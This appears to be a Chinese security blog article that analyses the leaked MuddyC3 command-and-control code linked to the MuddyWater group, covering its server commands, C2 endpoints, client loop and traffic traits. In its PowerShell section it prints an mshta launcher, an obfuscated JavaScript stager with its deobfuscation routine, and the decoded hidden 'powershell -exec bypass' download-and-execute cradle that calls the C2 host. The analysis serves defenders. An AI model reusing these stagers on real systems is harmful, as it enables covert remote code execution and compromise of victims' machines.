污水攻击MuddyC3开源代码分析

2019-09-21 55163人围观 WEB安全

免责声明

本文作者竭力保证文章内容可靠,但对于任何错误、疏漏或不准确的内容,作者不负任何责任。文章部分内容来源于网络是出于传递更多信息的目的,对此不负任何法律责任。本文仅用于技术分享与讨论,严禁用于其他用途。

前言

MuddyWater是一个伊朗威胁组织,主要针对中东、欧洲和北美国家。该组织针对的目标主要是电信,政府(IT服务)和石油部门。众多安全研究机构针对muddywater的样本进行了深入的研究。2019年6月24日,名为0xffff0800的用户在twitter上发表推文表示,其开源了污水攻击的python版代码。本文就该代码,一窥muddywater的攻击过程。

该用户在github上开源的代码有两个版本,本次我们分析的是1.0.1版本。

整体结构

MuddyC3的整体C2通信结构图如上所示:

整个通信过程有三个要素,即攻击端、C2网站和目的主机。其中C2网站指的是被攻击者拿到控制权限的web网站。C2网站可能不止一个。攻击过程中,攻击者将攻击指令以powershell代码的形式注入C2网站,被感染的目的主机主动向C2网站发送http请求,得到攻击命令,调用powershell接口执行命令。

APT攻击分三个阶段进行,分别是:(1)感染;(2)C2通信;(3)信息泄漏。本文中我们直接将恶意程序部署在目标主机上,因此感染阶段略去不提。值得注意的是,真实场景中,污水攻击感染过程通过传播宏病毒展开。目标主机感染宏病毒后会进行修改注册表等操作。

一、服务端

1.1服务端运行

运行muddyc3.py文件

需要输入ip、端口和是否需要代理输入完成后进入命令界面(见1.1.6help命令)

1.1.1 list命令

用来列举agent信息,列举结果示意如下:

1.1.2 show命令

目前尚未开发。

1.1.3 use命令

use命令后需要agent id作为参数,命令格式为:

use id

命令结果是进入id下的命令界面:

在该界面发出命令,相应命令分析见2.2.2节。以/get命令为例:

1.1.4 payload命令

payload命令列举出目前服务端程序中已有的powershell注入命令。

1.1.5 back命令

1.1.6 help命令

1.1.7 exit命令

exit命令结束客户端程序。

1.2参数分析

通过分析core.cmd.py文件,得出AGENTS字典中每个元素的结构如下:

角标 参数 归属
* id key值
0 ExternalIP data
1 id data
2 status data
3 os data
4 InternalIP data
5 Arch data
6 ComputerName data
7 UserName data

AGENT是一个’id:data’形式的字典,其中data格式如下:

角标 参数
0 id
1 status
2 Internal IP
3 OS
4 Arch
5 Computer Name
6 User Name

在core.webserver.py文件中,url访问功能分类如下:

编号 类别 表示方法 get/post 功能或结果
1 index / get 返回‘hello’
2 payload /get get 返回‘config/PAYLOAD()’
3 payloadc /getc get 返回‘toB52(config/PAYLOAD())’
4 payloadjf /hjf get 返回C://ProgramData下a.zip和b.ps1
5 payloadjfs /hjfs get 返回C://ProgramData下sct.ini
6 sct /sct get 返回ps1文件
7 mshta /hta get 返回ps1文件
8 info /info/~ post 查询id,若不存在则在AGENTS中添加
9 download /dl/~ post 从服务端指定路径下载文件
10 upload /up 暂不支持该功能
11 img /img/~ post 得到相关img
12 command /cm/~ get 得到‘config.COMMAND[id]’中的命令
13 result /re/~ post 得到指定id主机的data
14 modules /md/~ post 添加模块

1.3webserver分析

运行后可以访问之前输入的C&C地址

访问index路径,即192.168.11.193:1234

访问get路径,得到payload

访问/getc路径得到payload的base64编码,另有/hjf、/hjfs路径与此相似

访问download路径

访问/info,由于info使用post包,

调整AGENTS和post请求包body结构后,结果如下:

第二次添加

访问info路径的post请求组成:

二、客户端

2.1客户端运行

python脚本中运行powershell命令,会出现安全问题

以管理员身份运行powershell,

2.2客户端流程

2.2.1访问/info

客户端开启后,首先访问/info进行注册,注册用id在本地是以随机数形式确定,然后向服务端发送post包。客户端首先向服务端询问对应id是否存在,若存在则服务端返回‘NONE’,客户端重新选取随机数进行注册直至成功。注册成功后,客户端反馈:

2.2.2访问/cm

带id访问/cm接口,访问/cm/[id],取得服务端发送的控制命令,控制命令组成如下:

编号 表示 意义
1 /get 访问/get接口
2 /getc 访问/getc接口
3 /hjf 访问/hjf接口
4 /hjfs 访问/hjfs接口
5 /sct 访问/sct接口
6 /hta 访问/hta接口
7 dl 访问/dl接口
8 /up 访问/up接口
9 /img 访问/img接口
10 /md 访问/md接口
11 其他 其他powershell可以直接执行的命令

服务端顺序发出了三个命令:

客户端取命令:

由此可见客户端取命令时按服务端下命令的顺序,一次取一个,取完之后所有命令后,再访问/cm/[id],得到的数据为空

2.2.3访问/re

客户端取出命令后执行,然后在/re/[id]接口返回执行结果。服务端的显示:

客户端的显示:

三、powershell命令分析

污水攻击的命令均以powershell方式执行,接下来我们跟随服务端给出的顺序来分析powershell命令。首先,服务端启动时,给出的网址为:

mshta http://192.168.11.193:1234/hta

访问hta:得到的js代码为:

var es = '%gk{dmFyI!~tPSJw,3dlcn~oZW-sI%1le!VjI!J5c!FzcyAtdyA-I%1jI%RWPW5ldy1vYmplY3Qg,mV0LndlYm~s[WVud@skVi5wc**4eT1,TmV0LldlYlJlcXVlc3Rd}jp$ZXRTeX~0ZW1XZWJQc**4eSgp}yRWLlBy,3h5Lk~yZWRl,nRpYW-zPVt}ZXQuQ3JlZ!Vud!lh,*~hY2hlXTo6R!VmYXVsd*~yZWRl,nRpYW-z}0lFW%gkVi5k,3du,!9hZ$~0cmluZygn[$R0c@ovLz*5Mi4-~jguMT*uMTkz}j*yMzQvZ2V0Jykp}yI7%nZhciB3MzJwcz0gR2V0T2JqZW~0{%d3[W5tZ210czon{S5$ZXQoJ1dp,jMyX1By,2~lc3~Td!Fyd$VwJyk7%nczMnBzLl~wYXduSW5zd!FuY2Vf{%k7%nczMnBzLl~o,3dX[W5k,3c9M@s{dmFyI$J0cm5@,2RlPUdld*9i[mVjd%gnd2lu,Wdtd$M6JykuR2V0{%dX[W4zMl9Qc**jZX~zJykuQ3JlYXRl{!~tL%dj}l-cJy-3MzJwcy-udW-s{Ts{';
eval(bas(es))

其中对es变量做了如下混淆:

string = replaceAll(']','=',string);
      string = replaceAll('[','a',string);
      string = replaceAll(',','b',string);
      string = replaceAll('@','D',string);
      string = replaceAll('-','x',string);
      string = replaceAll('~','N',string);
      string = replaceAll('*','E',string);
      string = replaceAll('%','C',string);
      string = replaceAll('$','H',string);
      string = replaceAll('!','G',string);
      string = replaceAll('{','K',string);
      string = replaceAll('}','O',string);
      var characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
      var result     = '';

解混淆后得到的js代码如下:

var cm="powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://192.168.11.193:1234/get'));";
var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');
w32ps.SpawnInstance_();
w32ps.ShowWindow=0;
var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:\\',w32ps,null);

在powershell中执行后,向http://192.168.11.193:1234/get发get请求,得到已经存在于服务端的payload.ps1文件的内容,但是由于payload.ps1没有开源,所以powershell的解析不能继续向下进行。

四、流量分析

捕获本地流量如下:

目的端口是在服务端输入指定,源端口随机。

(本次实验中指定的目的端口为1234,源端口从9141开始,每个包累加)

五、污水攻击特点总结

5.1心跳周期

被控端定期向主控端发出get请求,查看是否有新的命令。

http://192.168.11.193:1234/cm/[id]

5.2 http请求成对出现

一次取命令对应一次命令执行结果回传。

http://192.168.11.193:1234/cm/[id]

http://192.168.11.193:1234/re/[id]

5.3云控下发powershell脚本

传统远控采取命令约定方式,主控端向被控端发送命令代码,被控端在后门代码中匹配成功然后执行。

而污水攻击不再使用命令代码,而是就地采用被控端本地现有工具powershell,将命令以高度混淆的powershell形式下发,这样做保证了样本即使被捕获,恶意活动不会暴露、C2服务器不会被溯源。

5.4可滥用web2.0网站作为信息传输中介

任何主机可以不经注册访问网站,向网站发出http请求。

污水攻击利用的web2.0网站的服务器是攻击者控制的,因此有被溯源的风险。

5.5协议:http

明文不加密。

相关链接

【1】开源代码地址:https://github.com/0xffff0800/MuddyC3v1.0.1-

【2】muddywater相关介绍:https://attack.mitre.org/groups/G0069/

*本文作者:BUPT/Yoni,转载请注明来自FreeBuf.COM

取消
Loading...

特别推荐

推荐关注

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php